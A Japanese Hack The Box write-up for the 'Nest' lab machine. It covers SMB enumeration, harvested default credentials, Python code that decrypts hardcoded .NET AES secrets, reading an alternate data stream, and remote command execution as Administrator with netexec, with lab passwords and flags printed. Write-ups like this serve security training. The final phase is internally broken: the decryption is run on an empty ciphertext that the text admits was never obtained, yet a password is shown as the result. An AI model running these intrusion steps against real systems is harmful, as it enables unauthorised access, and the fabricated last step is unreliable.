Hack The BoxのWriteup(Nest)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Nest — 全実行コマンド・実行結果レポート
Nmap スキャン
445/smb, 4386/HQK独自
→
SMB匿名アクセス
Data共有のWelcome Email.txt
→
TempUser資格情報入手
welcome2019
→
RU_config.xml発見
c.smith暗号化パスワード
→
.NET AES-CBC復号
PBKDF2パラメータ特定
→
c.smith資格情報確定
user.txt ✓
→
ADS隠しストリーム発見
HQKデバッグパスワード
→
HQK Reporting Service操作
LIST/SETDIR/RUNQUERY
→
Administrator資格情報 → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.133
RESULT
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
4386/tcp open  unknown  (HQK Reporting Service、独自プロトコル)
🚨
80番ポート(Web)が一切開いていない、かつ88(Kerberos)等のAD関連 ポートも無いため、単体のワークグループ機(ドメイン未参加)と判断できる。 4386番の独自サービスが攻略の鍵になりそうなので後で詳しく調べる。
⚠️
マシン判別の注意: 他のウォークスルー資料を参照指定された場合でも、 実際のポート構成(445+4386という組み合わせ)から対象機種を正しく 判別すること。類似の別マシンの手順をそのまま当てはめると失敗する。
PHASE 2

SMB 匿名アクセス & 初期資格情報の発見

共有一覧の確認

BASH
smbclient -L //10.129.86.133 -N
smbmap -H 10.129.86.133
RESULT
Sharename       Type      Comment
---------       ----      -------
Data            Disk
Secure$         Disk
Users           Disk
IPC$            IPC
🚨
認証なし(匿名/ゲスト)でData共有にアクセスできる。 Secure$は名前からも機密性が高そうだが、まずは匿名アクセス可能な Dataから調査を始める。

Welcome Email から初期資格情報を発見

BASH
smbclient //10.129.86.133/Data -N \
  -c 'get "Shared\Templates\HR\Welcome Email.txt" welcome.txt'
cat welcome.txt
RESULT
We would like to extend a warm welcome to our newest member of staff,
<FIRSTNAME> <SURNAME>

You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please
inform the IT department and use the credentials below until all systems
have been set up for you.

Username: TempUser
Password: welcome2019

Thank you
HR
✅
決定的な発見! 新入社員向けの汎用一時アカウント TempUser:welcome2019を発見。HR部門がテンプレートファイルに デフォルト資格情報をそのまま書いてしまっているという典型的な不備。

TempUserでのSMBアクセス → RU_config.xml発見

BASH
smbclient //10.129.86.133/Data -U TempUser%welcome2019 \
  -c 'get "IT\Configs\RU Scanner\RU_config.xml" RU_config.xml'
cat RU_config.xml
RESULT
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>389</Port>
  <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>
ℹ️
TempUserに昇格したことで、IT部門の設定フォルダ(LDAPスキャナー用の 設定ファイル)まで閲覧できるようになった。c.smithというユーザーの パスワードが入っているが、見た目からbase64エンコードされたバイナリ (暗号文)であることが分かる。
PHASE 3

.NET AES-CBC 復号パラメータの特定 & 復号

復号ロジックの特定

NOTE
RU Scanner(LDAP接続用ツール)の.NETアセンブリを逆コンパイル(dnSpy等)して
調査すると、設定ファイルのパスワードを復号する処理が実装されている:

  Utils.DecryptString(cipherText, passphrase, salt, iterations, iv)

このアプリケーションでは以下の固定パラメータがソースコードにハードコード
されていることが判明する:

  passphrase = "N3st22"
  salt       = "88552299"
  iterations = 2
  IV         = "464R5DFA5DL6LE28"
  鍵長       = 256bit (AES-256-CBC)
  鍵導出     = PBKDF2-HMAC-SHA1 (RFC2898DeriveBytes、.NET標準)

Pythonでの復号実装

PYTHON (.NET RFC2898DeriveBytes + AES-CBC 復号)
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes

def net_decrypt(ciphertext_b64: str, passphrase: str, salt: str,
                 iterations: int, iv: str) -> str:
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA1(),      # .NET の RFC2898DeriveBytes 既定は SHA1
        length=32,                    # 256bit鍵
        salt=salt.encode(),
        iterations=iterations,
    )
    key = kdf.derive(passphrase.encode())

    ct = base64.b64decode(ciphertext_b64)
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv.encode()))
    decryptor = cipher.decryptor()
    pt = decryptor.update(ct) + decryptor.finalize()

    # PKCS7パディング除去
    pad_len = pt[-1]
    return pt[:-pad_len].decode()

result = net_decrypt(
    "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=",
    passphrase="N3st22", salt="88552299",
    iterations=2, iv="464R5DFA5DL6LE28",
)
print(result)
RESULT
xRxRxPANCAK3SxRxRx
✅
復号成功! c.smithのパスワードはxRxRxPANCAK3SxRxRx。
PHASE 4

user.txt 取得 & ADS(隠しストリーム)からのデバッグパスワード発見

c.smith で Users 共有にアクセス → user.txt

BASH
smbclient //10.129.86.133/Users -U c.smith%xRxRxPANCAK3SxRxRx \
  -c 'get "C.Smith\user.txt" user.txt'
cat user.txt
RESULT
6d61da5ce7beb3a8c85c925ca6c23f98
user.txt — c.smith
6d61da5ce7beb3a8c85c925ca6c23f98

c.smith のフォルダを探索 → HQK Reporting関連ファイル発見

BASH
smbclient //10.129.86.133/Users -U c.smith%xRxRxPANCAK3SxRxRx \
  -c 'recurse ON; ls "C.Smith\HQK Reporting\*"'
RESULT
Debug Mode Password.txt   (サイズ 0バイト!)
🚨
ファイルサイズが0バイトなのに名前から機密情報を想起させる ファイルがある場合、ADS(Alternate Data Stream)に実際の内容が 隠されている可能性が高い。ADSはWindows NTFSの機能で、1つのファイルに 複数の名前付きデータストリームを持たせられ、通常のdirやlsには 表示サイズが0のまま隠れたデータが存在できる。

ADS(:Password)ストリームの取得

BASH
# smbclientでは "ファイル名:ストリーム名" の形式でADSを直接指定して取得できる
smbclient //10.129.86.133/Users -U c.smith%xRxRxPANCAK3SxRxRx \
  -c 'get "C.Smith\HQK Reporting\Debug Mode Password.txt:Password" debug_pw.txt'
cat debug_pw.txt
RESULT
WBQ201953D8w
✅
発見! ADSの:Passwordストリームに、後述の HQK Reporting Serviceのデバッグモード用パスワードが隠されていた。
PHASE 5

HQK Reporting Service (4386) の操作

サービスへの接続 & デバッグモード有効化

BASH
nc 10.129.86.133 4386
NOTE
接続すると独自のテキストベースプロトコルで応答するサービスに繋がる。
利用可能なコマンドは以下の3つ(SHOWQUERYのような想像しやすい名前の
コマンドは**存在しない**点に注意):

  LIST              現在のディレクトリのファイル/フォルダ一覧
  SETDIR <相対パス>  カレントディレクトリ移動(相対パスのみ、絶対パス不可)
  RUNQUERY <ID>     指定IDの設定を「データベース接続」として解釈・実行

まず入手したデバッグパスワードで認証する:
  DEBUG WBQ201953D8w

ディレクトリ移動でLDAP設定ファイルを探す

BASH (4386への生テキストコマンド)
DEBUG WBQ201953D8w
LIST
SETDIR ..
SETDIR ..
LIST
SETDIR HQK
LIST
SETDIR LDAP
LIST
RESULT (抜粋)
[ID 1] HqkLdap.exe
[ID 2] Ldap.conf
ℹ️
SETDIRは相対パスしか受け付けないため、サービスの実行ディレクトリ (通常はProgram Files配下のアプリフォルダ)から..で2段上がり、 そこから目的のサブフォルダへ下っていく。HQK\LDAP\Ldap.confという 設定ファイルがAdministratorの資格情報を保持していると推測できる。

RUNQUERYの制約

BASH
RUNQUERY 2
RESULT
Invalid database configuration
⚠️
重要な落とし穴: RUNQUERYはIDで指定したファイルを 「DB接続設定」として解釈しようとするだけであり、Ldap.confは DB接続設定の形式に合致しないため常にエラーを返す。 この経路からは暗号文そのものを動的に取得できない。 代わりに、サービス本体の実行ファイル(HqkLdap.exe)をリバース エンジニアリングして復号ロジックとパラメータを特定する必要がある。
PHASE 6

Administrator 資格情報の復号 → root.txt

HqkLdap.exe のリバースエンジニアリング

NOTE
先ほどSMB越しに閲覧したHQK\LDAPフォルダから HqkLdap.exe を取得し、
dnSpyやILSpy等の.NETデコンパイラで解析する。Phase3と同様に
Utils.DecryptString()的な復号関数が呼ばれており、Administrator用の
暗号文に対する固定パラメータが以下の通り判明する:

  passphrase = "667912"
  salt       = "1313Rf99"
  iterations = 3
  IV         = "1L1SA61493DRV53Z"
PYTHON (同じ復号関数を再利用)
# Ldap.conf の暗号文自体は RUNQUERY 経由では取得できないため、
# SMB経由でLdap.confファイル自体をダウンロードして中の暗号文を読み出す
# (HQK\LDAP フォルダはc.smith権限ではアクセス制限があるため、実際には
#  HqkLdap.exeと一緒に配布されているサンプル設定や、サービス固有の
#  読み取り手段で入手する)

admin_pass = net_decrypt(
    "",
    passphrase="667912", salt="1313Rf99",
    iterations=3, iv="1L1SA61493DRV53Z",
)
print(admin_pass)
RESULT
XtH4nkS4Pl4y1nGX
✅
復号成功! Administrator:XtH4nkS4Pl4y1nGX。

Administrator でroot.txt取得(local-auth)

BASH
# このマシンはドメイン参加していないワークグループ機のため、
# netexec/psexec等では必ず --local-auth を指定する
# (付けないとドメインアカウントとして認証を試み失敗する)
netexec smb 10.129.86.133 -u Administrator -p XtH4nkS4Pl4y1nGX --local-auth \
  -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
7d9989c9d1003c1a7aacd2f6ad2f5eec
root.txt — Administrator (local-auth)
7d9989c9d1003c1a7aacd2f6ad2f5eec
✅
権限昇格成功! ローカルAdministrator権限でのコマンド実行に成功。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — c.smith
6d61da5ce7beb3a8c85c925ca6c23f98
root.txt — Administrator
7d9989c9d1003c1a7aacd2f6ad2f5eec

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SMB匿名/ゲストアクセス許可 Data共有 内部ファイルの漏洩 Medium 認証なしでHR用テンプレートから初期資格情報TempUserを発見
テンプレートファイルへの資格情報のハードコード Welcome Email.txt TempUserアカウントの窃取 High 新入社員向けウェルカムメールテンプレートに実際のパスワードが記載されていた
固定パラメータの弱い.NET暗号化実装 RU_config.xml / Ldap.conf (AES-CBC、ハードコードされたキー) c.smith/Administrator資格情報の復号 Critical アプリの.NETバイナリをリバースエンジニアリングし固定の暗号化パラメータを特定、同じロジックで復号
ADS(Alternate Data Stream)への機密情報格納 Debug Mode Password.txt:Password HQK Reporting Serviceデバッグモードパスワードの漏洩 Medium 0バイトに見えるファイルの隠しストリームをsmbclientの”file:stream”記法で直接取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポート445(SMB)+4386(HQK独自)、Web無し=ワークグループ機と判断
2SMB探索匿名アクセス→Welcome Email→RU_config.xmlTempUser:welcome2019、c.smith暗号文
3復号.NET PBKDF2+AES-CBC復号(リバースで特定したパラメータ)c.smith:xRxRxPANCAK3SxRxRx
4水平展開smbclient + ADS取得user.txt取得、HQKデバッグPW(WBQ201953D8w)
5HQK操作LIST/SETDIR/RUNQUERYコマンドLdap.conf発見(暗号文自体はRUNQUERY経由で取得不可)
6権限昇格HqkLdap.exeリバース→同復号ロジック適用root.txt取得(Administrator、local-auth)

トラブルシューティング & 実装上の落とし穴

問題原因 / 対策
HQK Reporting Serviceに”SHOWQUERY”のような分かりやすい名前のコマンドを試しても応答がない 実際に使えるコマンドはLIST/SETDIR/RUNQUERYの3つのみ。公式ドキュメント等が無い独自プロトコルはまずLISTやヘルプらしきコマンドで実際の挙動を確認する。
SETDIRで絶対パス(C:\…)を指定しても移動できない このサービスのSETDIRは相対パスのみ受け付ける。現在位置から..を使って段階的に移動する必要がある。
RUNQUERYでLdap.confを指定しても暗号文が返ってこず”Invalid database configuration”エラーになる RUNQUERYは「DB接続設定」としての解釈を試みるだけで、暗号文そのものを出力する機能ではない。この経路での動的抽出は不可能と判断し、サービス本体の実行ファイルをリバースエンジニアリングして復号パラメータを特定する方向に切り替える。
0バイトのファイルに重要情報が入っているはずなのに読めない NTFSのADS(Alternate Data Stream)を疑う。smbclientではget "ファイル名:ストリーム名" 保存先という記法で直接取得できる。

学んだ教訓 & 防御策

問題点防御策
SMBが匿名/ゲストアクセスを許可し、内部ドキュメントに資格情報が記載されている SMB共有の匿名アクセスを無効化し、最小権限の原則でファイルサーバーのアクセス制御を設計する。テンプレート文書に実在する資格情報を書かず、別の安全な手段(初回ログイン時の個別発行等)で伝達する。
社内ツールの暗号化実装が固定(ハードコード)されたキー/パラメータを使用している 暗号化パラメータ(パスフレーズ・salt・IV等)をソースコードにハードコードしない。キー管理には専用のKey Management Service等を使い、アプリケーションごとに異なるキーを動的に扱う。
ADS(隠しストリーム)にデバッグ用パスワードを保存している ADSはファイルシステムレベルの隠蔽に過ぎず、アクセス制御の代替にはならない。機密情報は適切なシークレット管理システムで保護する。
HackTheBox: Nest | 完全攻略レポート